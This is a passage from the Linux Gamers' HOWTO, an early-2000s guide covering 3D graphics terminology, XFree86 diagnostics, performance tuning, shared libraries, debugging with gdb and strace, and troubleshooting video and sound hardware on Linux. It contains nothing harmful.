A company named realtechVR started an open source project called the "DirectX Port" <http://www.v3x.net/directx> which, like wine, provides a Direct3D emulation layer that implements Direct3D calls. The project was focused on the BeOS platform, but is now focused on MacOS and Linux. The DirectX Port is open source and you can get their latest cvs from their sourceforge page at <http://sourceforge.net/projects/dxglwrap>.

Prev | Home | Next
Definitions: Types Of Games |  | Definitions: Video Card and 3D Terminology


Definitions: Video Card and 3D Terminology

The Linux Gamers' HOWTO
Prev Next

4. Definitions: Video Card and 3D Terminology

We'll cover videocard and 3D graphics terminology. This stuff isn't crucial to actually getting a game working, but may help in deciding what hardware and software options are best for you.

4.1. Textures

A rendered scene is basically made up of polygons and lines. A texture is a 2D image (usually a bitmap) covering the polygons of a 3D world. Think of it as a coat of paint for the polygons.

4.2. T&L: Transform and Lighting

The T&L is the process of translating all the 3D world information (position, distance, and light sources) into the 2D image that is actually displayed on screen.

4.3. AA: Anti Aliasing

Anti aliasing is the smoothing of jagged edges along a rendered curve or polygon. Pixels are square objects, so drawing an angled line or curve with them results in a `stair step' effect, also called the jaggies. This is when pixels make, what should be a smooth curve or line, jagged. AA uses CPU intensive filtering to smooth out these jagged edges. This improves a game's visuals, but can also dramatically degrade performance.

AA is used in a number of situations. For instance, when you magnify a picture, you'll notice lines that were once smooth are now jagged (try it with The Gimp). Font rendering is another big application for AA.

AA can be done either by the application itself (as with The Gimp or the XFree86 font system) or by hardware, if your video card supports it. Since AA is CPU intensive, it's more desirable to perform it in hardware, but if we're talking about semi-static applications, like The Gimp, this really isn't an issue. For dynamic situations, like games, doing AA in hardware can be crucial.

4.4. FSAA: Full Screen Anti-Aliasing

FSAA usually involves drawing a magnified version of the entire screen in a separate framebuffer, performing AA on the entire image and rescaling it back to the normal resolution. As you can imagine, this is extremely CPU intensive. You will never see non hardware accelerated FSAA.

4.5. Mip Mapping

Mip mapping is a technique where several scaled copies of the same texture are stored in the video card memory to represent the texture at different distances. When the texture is far away a smaller version of the texture (mip map) is used. When the texture is near, a bigger one is used. Mip mapping can be used regardless of filtering method (see below). Mip mapping reduces memory bandwidth requirements since the images are in hardware, but it also offers better quality in the rendered image.

4.6. Texture Filtering

Texture filtering is the fundamental feature required to present sweet 3D graphics. It's used for a number of purposes, like making adjacent textures blend smoothly and making textures viewed from an angle (think of looking at a billboard from an extreme angle) look realistic. There are several common texture filtering techniques including point-sampling, bilinear, trilinear and anisotropic filtering.

One thing to keep in mind is that when I talk about `performance hits', the performance hit depends on what resolution you're running at. For instance, at a low resolution you may get only a very slight hit by using trilinear filtering instead of bilinear filtering. But at high resolutions, the performance hit may be enormous. Also, I'm not aware of any card that uses anisotropic texture filtering. TNT drivers claim they do, but I've read that these drivers still use trilinear filtering when actually rendering an image to the screen.

4.7. Point Sampling Texture Filtering

Point sampling is rare these days, but if you run a game with `software rendering' (which you'd need to do if you run a 3D accelerated game without a 3D accelerated board) you're likely to see it used.

4.8. Bilinear Texture Filtering

Bilinear filtering is a computationally cheap but low quality texture filtering. It approximates the gaps between textures by sampling the color of the four closest (above, below, left and right) texels. All modern 3D accelerated video cards can do bilinear filtering in hardware with no performance hit.

4.9. Trilinear Texture Filtering

Trilinear filtering is a high quality bilinear filter which uses the four closest pixels in the second most suitable mip map to produce smoother transitions between mip map levels. Trilinear filtering samples eight pixels and interpolates these before rendering, twice as much as bi-linear does. Trilinear filtering always uses mip mapping. Trilinear filtering eliminates the banding effect that appears between adjacent MIP map levels. Most modern 3D accelerated video cards can do trilinear filtering in hardware with no performance hit.

4.10. Anisotropic Texture Filtering

Anisotropic filtering is the best but most CPU intensive of the three common texture filtering methods. Trilinear filtering is capable of producing fine visuals, but it only samples from a square area which in some cases is not the ideal way. Anisotropic (meaning `from any direction') samples from more than 8 pixels. The number of sampled pixels and which sampled pixels it uses depends on the viewing angle of the surface relative to your screen. It shines when viewing alphanumeric characters at an angle.

4.11. Z Buffering

A Z buffer is a portion of RAM which represents the distance between the viewer (you) and each pixel of an object. Many modern 3D accelerated cards have a Z buffer in their video RAM, which speeds things up considerably, but Z buffering can also be done by the application's rendering engine.

Every object has a stacking order, like a deck of cards. When objects are rendered into a 2D frame buffer, the rendering engine removes hidden surfaces by using the Z buffer. There are two approaches to this. Dumb engines draw far objects first and close objects last, obscuring objects below them in the Z buffer. Smart engines calculate what portions of objects will be obscured by objects above them and simply not render the portions that you won't see anyhow. For complicated textures this is a huge savings in processor work.

Prev | Home | Next
Libraries |  | XFree86 and You


XFree86 and You

The Linux Gamers' HOWTO
Prev Next

5. XFree86 and You

If you're going to game under X, it's crucial that you know a bit about X. The "X Window User HOWTO", and especially "man XF86Config" are required reading. Don't short change yourself; read them. They have an extremely high "information to space" ratio. Many problems can be fixed easily if you know your way around XF86Config (or XF86Config-4).

5.1. Getting information about your X system

5.1.1. Probeonly

One of the best diagnostic tools and sources of information about your X system is probeonly output. To use it, kill X if it's already running and from a console, type:

    X -probeonly 2> X.out

Yes, that's a single dash; so much for standards. The output of X goes to stderr, so we have to redirect stderr with "2>" to a file named X.out. This file will have almost everything there is to know about your X system. It's crucial that you know the difference between the various markers you'll see in probeonly output:

    (--) probed              (**) from config file    (==) default setting
    (++) from command line   (!!) notice              (II) informational
    (WW) warning             (EE) error               (??) unknown.

Here's an example of some information I gleaned from my output:

I'm running at 16 bpp color:

    (**) TDFX(0): Depth 16, (--) framebuffer bpp 16

X has detected what my videocard chipset and videoram are:

    (--) Chipset 3dfx Voodoo5 found
    (--) TDFX(0): VideoRAM: 32768 kByte Mapping 65536 kByte

5.1.2. Getting info about your setup: xvidtune

xvidtune is your friend when your X screen is shifted a little bit too far to the right, or if the vertical length is too small to fit on your monitor. However, it's a great diagnostic tool also. It'll give you:

  • the hsync/vsync range specified in your XF86Config file

  • the 4 horizontal and 4 vertical numbers which defines your videomode (the 1st horizontal/vertical numbers gives the screen resolution). These 8 numbers will tell you which modeline your X uses. See the XFree86 Video Modetiming Howto for more information.

  • the "dot clock" your videocard is running at.

5.1.3. Getting info about your setup: xwininfo

xwininfo tells you all sorts of information about X windows. And actually, your "background" or "root" window is considered a window too. So when xwininfo asks you to click on the window you want the information on, click on your background. It'll tell you things like:

: Screen resolution

: Width and Height

: color bpp

: Depth

and a few other things which are interesting but not immediately relevent to our subject, like "Window Gravity State" which tells where new windows tend to be placed by the window manager.

5.1.4. Other sources of information

xdpyinfo gives cool stuff, like X version and loaded extensions (invaluable when trying to see what's missing, like GLX, DRI, XFree86-VidMode, etc.).

5.1.5. Getting information about your 3D system

glxinfo gives lots of useful information about OpenGL (whether direct rendering is being used or not, the currently installed versions of glx and mesa), vendor/renderer strings, the GL library files being used and more.

Prev | Home | Next
Definitions: Video Card and 3D Terminology |  | Various Topics


Various Topics

The Linux Gamers' HOWTO
Prev Next

6. Various Topics

6.1. Memory Type Register Ranges

Starting with Pentium class processors and including Athlon, K6-2 and other CPUs, there are Memory Type Register Ranges (MTRR) which control how the processor accesses ranges of memory locations. Basically, it turns many smaller separate writes to the video card into a single write (a burst). This increases efficiency in writing to the video card and can speed up your graphics by 250% or more.

See /usr/src/linux/Documentation/mtrr.txt for details. Note that since this file was written, XFree86 has been patched to automatically detect your video RAM base address and size and set up the MTRRs.

6.2. Milking performance from your system for all it's worth

  • If for some reason you're using X 3.3, follow the instructions given by mtrr.txt (see section 5.1) to set up your MTRRs. X 4.0 does this automatically for you.

  • Don't run a window manager (wm). Some wm's like twm don't take up much CPU cycles, but still rob you of performance. Some window managers like enlightenment will definitely produce a noticeable slow down. To run a game without a wm, you modify .xinitrc in your home directory. Here is what my .xinitrc looks like:

        #quake3 +set r_gldriver libGR.so.1
    #/usr/local/games/SinDemo/Sin
    #exec ut
    #lsdldoom -server 2
    #exec tribes2
    exec /usr/bin/enlightenment

    This file tells X what client to run upon starting. Usually this is your wm, and/or a desktop manager (GNOME or KDE). Comment out the lines containing a wm and desktop manager with a pound sign (#) and place your game on a new line with any command line arguments you want to pass. If the game is not located in your $PATH, give its full path name. Note that this is for people who use `startx' to start X.

    I never use things like gdm or run-level 5 (so I'm not positive here), but I suspect that if you do, you'll need to do things a bit differently. My best guess is to go to single user mode (run-level 1) by:

        # telinit 1

    then edit .xinitrc, then go back to run-level 5 by

        # telinit 5

    Then when you stop playing, go to run-level 1, modify .xinitrc then go back to run-level 5. I don't use this stuff, so I'm not sure, but you may need to kill gdm. I'd appreciate some feedback on this.

    Kill all not-essential processes. Of course you'll have to do this as root. A better way to do this than typing "ps ax", getting ntpd's pid, and sending it a SIGKILL (with kill -9) is to make use of pidof:

        # kill -9 `pidof ntpd`

    However, an even better alternative is to use the startup scripts on your system. On Debian, the startup scripts for run-level 2 are located in /etc/rc2.d/. You can kill a service in an orderly manner by sending its startup scrip the `stop' command:

        # cd /etc/rc2.d
    # ./ntpd stop

    Another (radical) option is to simply put yourself in single-user mode with

        # telinit 1

    This will even get rid of getty; your system will be running nothing which is absolutely crucial to its operation. You'll have something like 10 processes running. The downside is that you'll have to play the game as root. But your process table will be a ghost town, and all that extra CPU will go straight to your game.

6.3. About libraries on Linux

A common problem you'll see in gaming is a library file not being found. They're kind of mysterious and have funny names, so we'll go over libraries on Linux for a bit. There are two types of libraries, static and dynamic. When you compile a program, by default, gcc uses dynamic libraries, but you can make gcc use static libraries instead by using the -static switch. Unless you plan on compiling your games from source code, you'll mainly be interested in dynamic libraries.

6.3.1. Dynamic libraries

Dynamic libraries, also called a “shared library”, provide object code for an application while it's running. That is, code gets linked into the executable at run time, as opposed to compile time. They're analagous to the .dll's used by Windows. The program responsible for linking code “on the fly” is called /etc/ld.so, and the dynamic libraries themselves usually end with .so with a version number, like:

    /usr/lib/libSDL.so
    /lib/libm.so.3

When using gcc, you refer to these libraries by shaving off the strings lib, .so and all version numbers. So to use these two libraries, you would pass gcc the -lSDL -lm options. gcc will then `place a memo inside the executable' that says to look at the files /usr/lib/libSDL.so and /lib/libm.so.3 whenever an SDL or math function is used.

6.3.2. Static libraries

In contrast to dynamic libraries which provide code while the application runs, static libraries contain code which gets linked (inserted) into the program while it's being compiled. No code gets inserted at run time; the code is completely self-contained. Static libraries usually end with .a followed by a version number, like:

    /usr/lib/libSDL.a
    /usr/lib/libm.a

The .a files are really an archive of a bunch of .o (object) files archived together, similar to a tar file. You can use the nm to see what functions a static library contains:

    % nm /usr/lib/libm.a
    ...
    e_atan2.o:
    00000000 T __ieee754_atan2

    e_atanh.o:
    00000000 T __ieee754_atanh
    00000000 r half
    00000010 r limit
    00000018 r ln2_2
    ...

When using gcc, you refer to these libraries by shaving off the strings “lib”, “.a” and all version numbers. So to use these two libraries, you would pass gcc the -lSDL -lm options. gcc will then `bolt on' code from /usr/lib/SDL.a and /usr/lib/libm.a whenever it sees a math function during the compilation process.

6.3.3. How are library files found

If you compile your own games, your biggest problem with libraries will either be that gcc can't find a static library or perhaps the library doesn't exist on your system. When playing games from binary, your library woes will be either be that ld.so can't find the library or the library doesn't exist on your system. So it makes some sense to talk about how gcc and ld.so go about finding libraries in the first place.

gcc looks for libraries in the ``standard system directories'' plus any directories you specify with the -L option. You can find what these standard system directories are with gcc -print-search-dirs

ld.so looks to a binary hash contained in a file named /etc/ld.so.cache for a list of directories that contain available dynamic libraries. Since it contains binary data, you cannot modify this file directly. However, the file is generated from a text file /etc/ld.so.conf which you can edit. This file contains a list of directories that you want ld.so to search for dynamic libraries. If you want to start putting dynamic libraries in /home/joecool/privatelibs, you'd add this directory to /etc/ld.so.conf. Your change doesn't actually make it into /etc/ld.so.cache until you run ldconfig; once it's run, ld.so will begin to look for libraries in your private directory.

Also, even if you just add extra libraries to your system, you must update ld.so.cache to reflect the presense of the new libraries.

Prev | Home | Next
XFree86 and You |  | When Bad Things Happen To Good People


When Bad Things Happen To Good People

The Linux Gamers' HOWTO
Prev Next

7. When Bad Things Happen To Good People

Of course we can't cover every Bad Thing that happens, but I'll outline some items of common sense.

There are two types of bad things: random and repeatable. It's very difficult to diagnose or fix random problems that you don't have any control over when they happen or not. However, if the problem is repeatable "it happens when I press the left arrow key twice", then you're in business.

7.1. RTFM!

Read the friendly manual. The `manual' can take on a few forms. For open source games there's the readme files that come with the game. Commercial games will have a printed manual and maybe some readme files on the CD the game came on. Don't forget to browse the CD your game came on for helpful tips and advice.

Don't forget the game's website. The game's author has probably seen people with your exact same problem many times over and might put information specific to that game on the website. A prime example of this is Loki Software's online FAQs located at faqs.lokigames.com.

7.2. Look For Updates and Patches

If you're playing an open source game that you compiled, make sure you have the newest version by checking the game's website. If your game came from a distro make sure there's not an update rpm/deb for the game.

Commercial game companies like Loki release patches for their games. Often a game will have MANY patches (Myth2) and some games are unplayable without them (Heretic2). Check the game's website for patches whether you have a problem running the game or not; there may be an update for a security problem that you may not even be aware of.

By the way, Loki now has a utility that searches for Loki Software on your hard drive and automatically updates them. Check out updates.lokigames.com.

7.3. Newsgroups

If you don't know what netnews (Usenet) is, then this is definitely worth 30 minutes of your time to learn about. Install a newsreader. I prefer console tools more, so I use tin, but slrn is also popular. Netscape has a nice graphical "point and click" newsreader too.

For instance, I can browse Loki Software's news server with tin -g news.lokigames.com. You can also specify which news server to use using the $NNTP environment variable or with the file /etc/nntpserver.

7.4. Google Group Search

Every post made to Usenet gets archived at Google's database at groups.google.com. This archive used to be at www.deja.com, but was bought by Google. Many people still know the archive as "deja".

It's almost certain that whatever problem you have with Linux, gaming related or not, has already been asked about and answered on Usenet. Not once, not twice, but many times over. If you don't understand the first response you see (or if it doesn't work), then try one of the other many replies. If the page is not in a language you can understand, there are many translation sites which will convert the text into whatever language you like, including www.freetranslation.com and translation.lycos.com. My web browser of choice, Opera (available at www.opera.com allows you to use the right mouse button to select a portion of text and left click the selection to translate it into another language. Very useful when a Google group search yields a page in German which looks useful and my girlfriend (who reads German well) isn't around.

The Google group search has a basic and advanced search page. Don't bother with the simple search. The advanced search is at groups.google.com/advanced_group_search

It's easy to use. For example, if my problem was that Quake III crashed everytime Lucy jumps, I would enter "linux quake3 crash lucy jumps" in the "Find messages with all of the words" textbox.

There are fields for which newsgroup you want to narrow your search to. Take the time to read and understand what each field means. I promise you. You won't be disappointed with this service. Use it, and you'll be a much happier person. Do note that they don't archive private newsgroups, like Loki Software's news server. However, so many people use Usenet, it almost doesn't matter.

7.5. Debugging: call traces and core files

This is generally not something you'll do for commercial games. For open source games, you can help the author by giving a corefile or stack trace. Very quickly, a core file (aka core dump) is a file that holds the "state" of the program at the moment it crashes. It holds valuable clues for the programmer to the nature of the crash -- what caused it and what the program was doing when it happened. If you want to learn more about core files, I have a great gdb tutorial at www.dirac.org/linux.

At the *very* least, the author will be interested in the call stack when the game crashed. Here is how you can get the call stack at barf-time:

Sometimes distros set up their OS so that core files (which are mainly useful to programmers) aren't generated. The first step is to make your system allow unlimited coresizes:

    ulimit -c unlimited

You will now have to recompile the program and pass the -g option to gcc (explaining this is beyond the scope of this document). Now, run the game and do whatever you did to crash the program and dump a core again. Run the debugger with the core file as the 2nd argument:

    $ gdb CoolGameExecutable core

And at the (gdb) prompt, type "backtrace". You'll see something like:

    #0 printf (format=0x80484a4 "z is %d.\n") at printf.c:30
    #1 0x8048431 in display (z=5) at try1.c:11
    #2 0x8048406 in main () at try1.c:6

It may be quite long, but use your mouse to cut and paste this information into a file. Email the author and tell him:

  1. The game's name

  2. Any error message that appears on the screen when the game crashes.

  3. What causes the crash and whether it's a repeatable crash or not.

  4. The call stack

If you have good bandwidth, ask the author if he would like the core file that his program dumped. If he says yes, then send it. Remember to ask first, because core files can get very, very big.

7.6. Saved Games

If your game allows for saved games, then sending the author a copy of the saved game is useful because it helps the tech reproduce whatever is going wrong. For commercial games, this option is more fruitful than sending a core file or call stack since commercial games can't be recompiled to include debugging information. You should definitely ask before sending a save game file because they tend to get long, but a company like Loki Software has lots of bandwidth. Mike Phillips (formerly of Loki Software) mentioned that sending in saved games to Loki is definitely a good thing.

Needless to say, this only applies if your game crashes reproducably at a certain point. If the game segfaults every time you run it, or is incredibly slow, a saved game file won't be of much help.

7.7. What to do when a file or library isn't being found (better living through strace)

Sometimes you'll see error messages that indicate a file wasn't found. The file could be a library:

    % ./exult
    ./exult: error while loading shared libraries: libSDL-1.2.so.0: cannot load shared object
    file: No such file or directory

or it could be some kind of data file, like a wad or map file:

    % qf-client-sdl
    IP address 192.168.0.2:27001 UDP Initialized Error: W_LoadWadFile: couldn't load gfx.wad

Suppose gfx.wad is already on my system, but couldn't be found because it isn't in the right directory. Then where IS the right directory? Wouldn't it be helpful to know where these programs looked for the missing files?

This is where strace shines. strace tells you what system calls are being made, with what arguments, and what their return values are. In my `Kernel Module Programming Guide' (due to be released to LDP soon), I outline everything you may want to know about strace. But here's a brief outline using the canonical example of what strace looks like. Give the command:

    strace -o ./LS_LOG /bin/ls

The -o option sends strace's output to a file; here, LS_LOG. The last argument to strace is the program we're inspecting, here, "ls". Look at the contents of LS_LOG. Pretty impressive, eh? Here is a typical line:

    open(".", O_RDONLY|O_NONBLOCK|0x18000)  = 4

We used the open() system call to open "." with various arguments, and "4" is the return value of the call. What does this have to do with files not being found?

Suppose I want to watch the StateOfMind demo because I can't ever seem to get enough of it. One day I try to run it and something bad happens:

    % ./mind.i86_linux.glibc2.1
    Loading & massaging...
    Error:Can't open data file 'mind.dat'.

Let's use strace to find out where the program was looking for the data file.

    strace ./mind.i86_linux.glibc2.1 2> ./StateOfMind_LOG

Pulling out vim and searching for all occurances of "mind.dat", I find the following lines:

    open("/usr/share/mind.dat",O_RDONLY) = -1 ENOENT (No such file)
    write(2, "Error:", 6Error:)   = 6
    write(2, "Can\'t open data file \'mind.dat\'."..., ) = 33

It was looking for mind.dat in only one directory. Clearly, mind.dat isn't in /usr/share. Now we can try to locate mind.dat and move it into /usr/share, or better, create a symbolic link.

This method works for libraries too. Suppose the library libmp3.so.2 is in /usr/local/include but your new game "Kill-Metallica" can't find it. You can use strace to determine where Kill-Metallica was looking for the library and make a symlink of /usr/local/include/libmp3.so.2 to wherever Kill-Metallica was looking for the library file.

strace is a very powerful utility. When diagnosing why things aren't being found, it's your best ally, and is even faster than looking at source code. As a last note, you can't look up information in source code of commercial games from Lokisoft or Tribsoft. But you can still use strace with them!

7.8. Hosed consoles

Sometimes a game will exit abnormally and your console will get `hosed'. There are a few definitions of a hosed console. The text characters could look like gibberish. Your normally nice black screen could look like a quasi-graphics screen. When you press ENTER, a newline doesn't get echo'ed to the screen. Sometimes, certain keys of the keyboard won't respond. Logging out and back in won't work, but there are a few things that will:

  • At the prompt, type "reset". This should clear up many problems, including consoles hosed by an SVGAlib or ncurses based game.

  • Try running the game again and normally. Once I had to kill Quake III in a hurry, so I gave it the 3 fingered salute. The console was hosed with a quasi-graphics screen. Running Quake III and quitting normally fixed the problem.

  • The commands deallocvt and openvt will work for most of the other problems you'll have. deallocvt N kills terminal N entirely, so that Alt-FN doesn't even work anymore. openvt -c N starts it back up.

  • If certain keys on your keyboard don't work, be creative. If you want to reboot but the `o' key doesn't work, try using halt. One method I've come up with is typing a command at the prompt and using characters on the screen with mouse cut/paste. For example, you can type "ps ax", and you're sure to have an `h', `a', `l' and a `t' somewhere on the screen. you can use the mouse to cut and paste the word "halt".

  • The most regrettable option is a reboot. If you can, an orderly shutdown is preferable; use "halt" or "shutdown". If you can't, ssh in from a another machine. That sometimes works when your console is very badly hosed. In the worst case scenario, hit the reset or power switch.

Note that if you use a journalling filesystem like ext3, reiserfs or xfs, hitting the power switch isn't all that bad. You're still supposed to shutdown in an orderly fasion, but the filesystem integrity will be maintained. You won't see an fsck for the partitions that use the journalling filesystem.

Prev | Home | Next
Various Topics |  | Hardware


Hardware

The Linux Gamers' HOWTO
Prev Next

8. Hardware

I'm no Tom's Hardware or Anandtech, and don't have access to all the wealth of hardware that's out there. Contributions and information to fill out this section would is welcome. This stuff changes very often, and peoples' experience with hardware would be useful.

8.1. Which video card is the best?

If you're using Linux, you must be smart enough to know that there isn't a plain answer to this question. There seem to be 3 choices for hardware accelerated 3D these days:

  1. 3dfx: Voodoo cards

  2. Nvidia: GeForce

  3. ATI: Radeon

According to Tom's Hardware and Anadtech, the Radeon is king when playing at very high resolution (as in 1600x1200), at 32bpp, in Windows. Otherwise the GeForce is king. There are two problems with this. We don't normally play at 1600x1200/32bb, and we don't play on Windows (at least I don't).

There aren't many recent video card benchmarks out for Linux. The most recent one I've seen is from March 2001 at www.linuxhardware.org/features/01/03/19/0357219.shtml. Considering the dearth of benchmarks out there, this needs to be taken as a canonical benchmark, so I simply quote their conclusion:

At this point the performance numbers tell a pretty simple story, if it's raw speed you are looking for, the GeForce 2 is your choice. There is very little performance drawback to running your favorite games in Linux instead of Windows with this card. It provides a truly impressive performace across the board. The Radeon's performance will almost definitely improve as the DRI drivers mature, but for now, especially for the impatient, it is simply not a good choice for the hard core 3d gamer.

If, however, you are a graphics designer, and want a card with impeccable 2d image quality, with 3d graphics only a secondary priority, the Radeon is your best bet. The DRI drivers, even in their current state, are quite usable. For 2d only users, XFree86 4.0.2 provides production quality 2d drivers. The GeForce thoroughly trounced the Radeon in the Xmark performance test, so if you aren't running at a ultra high resolution, or aren't that picky, the GeForce is once again a better pick.

Now for my own input. The Radeon is a pretty amazing card. It's what I use, and I have yet to see a game that needs more power than the Radeon is able to provide. However, the OpenGL renderer for the Radeon is buggy, although the only games I've seen that suffer greatly are Loki Software's Heavy Metal (which is, regrettably, unplayable) and Soldier Of Fortune. Hopefully the people doing Mesa for the Radeon will fix this very soon since the Radeon is the best option for people who don't want to rely on the closed source, proprietary GeForce.

Now about the Voodoo cards. Unfortunately, 3dfx was bought out by nVidia, so these cards are a dead end market. If you're out to play the bleeding edge games like Rune or Tribes2, you'll want the Voodoo 3, 4 or 5. Preferably the 4 or 5. I think the Voodoo 5 is basically a Voodoo 4 with a second processer. However, this processor is not utilized by the Linux driver, and rumor says that the Linux 3dfx driver will never support it. So as far as Linux is concerned, the Voodoo 4 and 5 are the same card. All the drivers, Glide2 library and OpenGL renderers for the Voodoo cards were open sourced by 3dfx before they when under. It is an embarrasment to the Linux and open source community in general that this company failed.

8.2. Which sound card is best?

Now that Linux is beginning to mature, this question isn't as important as it used to be. Once upon a time, soundcards without onboard MIDI chips (most PCI sound cards) didn't do MIDI. This was mostly a problem for things like xdoom or lxdoom using musserv. These days we have MIDI emulators like Timidity and libraries like SDL which don't require hardware MIDI support. Frankly, I've had many cards and I can't tell the difference between any of them for gaming. If you want to do things like convert a record LP to digital format, then your choice of a soundcard with a professional grade A/D converter is absolutely crucial. For this HOWTO, we'll assume that you're more of a gamer than a studio recording engineer.

Your decision should be based on what will be the easiest to configure. If you already have a card and it works well, that's good enough. If you're in the market to buy a sound card, get something that will take you a second to configure. PCI cards are much easier to deal with than ISA since you don't need to tell their drivers about which system resources (IRQ, DMA, I/O addresses) to use. Some ISA cards ARE plug-n-play, like the Creative AWE-64, and the Linux kernel has come a long way in auto configuring them.

My personal recommendation is any card which has the es1370 or es1371 chip, which uses the es1370 and es1371 sound drivers on Linux. These cards include the older Ensoniq es1370 and newer Creative PCI-128. These cards are extremely cheap and trivial to get working under Linux.

I used to be quite a big fan of the Creative Soundblaster AWE 32, AWE 64 and AWE 64 gold soundcards. They are ISA, but are plug-n-play. A couple of issues to note. First, the Creative AWE HOWTO is very out of date. Second, AFAIK, Creative never released a Linux driver that uses the AWE 64's extra 32 voices (and they never released programming information for it either). So to a Linux users, the AWE 64 and 32 are nearly identical sound cards. If anyone has more information about the differences that a Linux user would see between the AWE 64 and 32, I'd like to hear from you.

The Creative Soundblaster Live! is an extremely popular PCI sound card these days. I've never owned one, so I cannot comment here. However, there have been numerous reports about serious problems with the Live! and AMD motherboards that use the 686b southbridge. A google search should turn up alot of information on this problem.

A more relevent issue is speakers, but even here the difference isn't huge. I've had expensive Altec Lansing speakers perform only slightly better than el-cheapo speakers. You get what you pay for with speakers, but don't expect a huge difference. You'll want to get something with a separate sub-woofer; this does make a difference at a cost of extra power and connector wires.

Prev | Home | Next
When Bad Things Happen To Good People |  | Miscellaneous Problems


Miscellaneous Problems

The Linux Gamers' HOWTO
Prev Next

9. Miscellaneous Problems

9.1. Hardware Acceleration Problems

XFree86 4.0 provides a more centralized and self-contained approach to video. Much of the funkyness like kernel modules for non-root access of video boards is, thankfully, gone.

9.1.1. Hardware acceleration isn't working at all

If you're getting like 1 fps, then your system isn't using hardware 3D acceleration. There's one of two things that can be going on.

  1. Your 3D system is misconfigured (more likely)

  2. Game X is misconfigured (less likely)

The first step is to figure out which one is happening.

  1. If you have X 4.0 (X 3.* users procede to step 2), look at the the output of X -probeonly. You'll see:

     (II) XXXXXX: direct rendering enabled

    or

     (II) XXXXXX: direct rendering disabled

    Where XXXXXXX depends on which video card you have. If direct rendering is disabled, then your X configuration is definitely faulty. Your game is not at fault. You need to figure out why DRI is disabled. The most important tool for you to use at this point is the `DRI Users Guide'. It is an excellently written document that gives you step by step information on how to get DRI set up correctly on your machine. A copy is kept at www.xfree86.org/4.0/DRI.html.

    Note that if you pass this test, your system is CAPABLE of direct rendering. Your libraries can still be wrong. So procede to step 2.

  2. There is a program called gears which comes with the "mesademos" package. You can get mesademos with Debian ( apt-get install mesademos) or you can hunt for the rpm on rpmfind.net. You can also download and compile the source yourself from the mesa homepage.

    Running gears will show some gears turning. The xterm from which you run gears will read "X frames in Y seconds = X/Y FPS". You can compare your system to the list of benchmarks below.

          CPU TYPE     VIDEO CARD     X VERSION    AVERAGE FPS

    Compiling Mesa and DRI modules yourself can increase your FPS by 15 FPS; quite a performance boost! So if your number is, say, about 20 FPS slower than a comparable machine, chances are that gears is falling back on software rendering. In other words, your graphics card isn't 3D accelerating graphics.

    More important than FPS is having a constant FPS for small and large windows. If hardware acceleration is working, the FPS for gears should be nearly independent of window size. If it's not, then you're not getting hardware acceleration.

9.2. Hardware acceleration works only for the root user

9.2.1. XFree86 4.*

If the following lines aren't present in your XF86Config file, put them in:

             Section "DRI"
                     Mode 0666
             EndSection

This allows all non-root users to use DRI. For the paranoid, it's possible to restrict DRI to only a few non-root users. See the DRI User Guide.

9.2.2. XFree86 3.*

9.2.2.1. Voodoo cards

Voodoo card hardware acceleration only takes place ONLY at 16bpp color and fails silently when starting X in another color depth.

Also, Voodoo cards need the 3dfx.o kernel module and a /dev/3dfx device file (major 107, minor 0) for non-root hardware acceleration. Neither the module nor the device file are used under XFree86 4.*.

9.3. Why isn't my sound working?

First of all, it's probably not the game, it's probably your setup. AFAIK, there are 3 options to getting a sound card configured under Linux: the free OSS sound drivers that come with the Linux kernel, the Alsa drivers and the commercial OSS sound drivers. Personally, I prefer the free OSS drivers, but many people swear by Alsa. The commercial OSS drivers are good when you're having trouble getting your sound card to work by free methods. Don't discount them; they're very cheap (like 10 or 20 bucks), support bleeding edge sound cards and take a lot of guesswork out of the configuring process.

There are 5 things that can go wrong with your sound system:

  1. Shared interrupt

  2. Misconfigured driver

  3. Something's already accessing the sound card

  4. You're using the wrong driver

  5. A permissions problems

9.3.1. Shared interrupt

The first thing to do is to figure out if you have an IRQ conflict. ISA cards can't share interrupts. PCI cards can share interrupts, but certain types of high bandwidth cards simply don't like to share, including network and sound cards. To find out whether you have a conflict, do a "cat /proc/interrupts". Output on my system is:

    # cat /proc/interrupts
               CPU0       CPU1
      0:   24185341          0          XT-PIC  timer
      1:     224714          0          XT-PIC  keyboard
      2:          0          0          XT-PIC  cascade
      5:    2478476          0          XT-PIC  soundblaster
      5:     325924          0          XT-PIC  eth0
     11:     131326          0          XT-PIC  aic7xxx
     12:    2457456          0          XT-PIC  PS/2 Mouse
     14:     556955          0          XT-PIC  ide0
    NMI:          0          0
    LOC:   24186046   24186026
    ERR:       1353

The second column is there because I have 2 CPU's in this machine; if you have one CPU (called UP, or uniprocessor), you'll have only 1 CPU column. The numbers on the left are the assigned IRQ's and the strings to the right indicate what device was assigned that IRQ. You can see I have an IRQ conflict between the soundcard (soundblaster) and the network card (eth0). They both share IRQ 5. Actually, I cooked this example up because I wanted to show you what an IRQ conflict looks like. But if I did have this conflict, neither my network nor my sound would work well (or at all!).

If my sound card is PCI, the preferred way of fixing this would be to simply move one of the cards to a different slot and hope the BIOS sorts things out. A more advanced way of fixing this would be to go into BIOS and assign IRQ's to specific slots. Modern BIOS'es can do this.

9.3.2. Misconfigured driver

Sometimes, a card is hardwired to use a certain IRQ. You'll see this on ISA cards only. Alternatively, some ISA cards can be set to use a specific IRQ using jumpers on the card itself. With these types of cards, you need to pass the correct IRQ and memory access, "I/O port", to the driver.

This is a sound card specific issue, and beyond the scope of this HOWTO. (I should write about how to pass info to the driver).

9.3.3. Something is already accessing your sound card

Perhaps an application is already accessing your soundcard. For example, maybe you have an MP3 player that's paused? If something is already accessing your card, other applications won't be able to. Even though it was written to share the card between applications, I've found that esd (the enlightenment sound daemon) sometimes doesn't work correctly. The best tool to use here is lsof, which shows which processes are accessing a file. Your sound card is represented by /dev/dsp. Right now, I'm listening to an MP3 (not a Metallica MP3, of course...) with mp3blaster.

    # lsof /dev/dsp
    COMMAND    PID USER   FD   TYPE DEVICE SIZE   NODE NAME
    mp3blaste 1108    p    6w   CHR   14,3      662302 /dev/dsp

fuser is similar; but it lets you send a signal to any process accessing the device file.

    # fuser -vk /dev/dsp

                         USER        PID ACCESS COMMAND
    /dev/dsp             root       1225 f....  mp3blaster
                         root       1282 f....  mp3blaster

After issuing this command, mp3blaster was killed with SIGKILL. See the man pages for lsof and fuser; they're very useful. Oh, you'll want to run them as root since you'll be asking for information from processes that may be owned by root.

9.3.4. You're using the wrong driver (or no driver)

There are only two ways to configure your card:

  1. Support must be compiled directly into the kernel

  2. You must have the correct driver loaded into memory

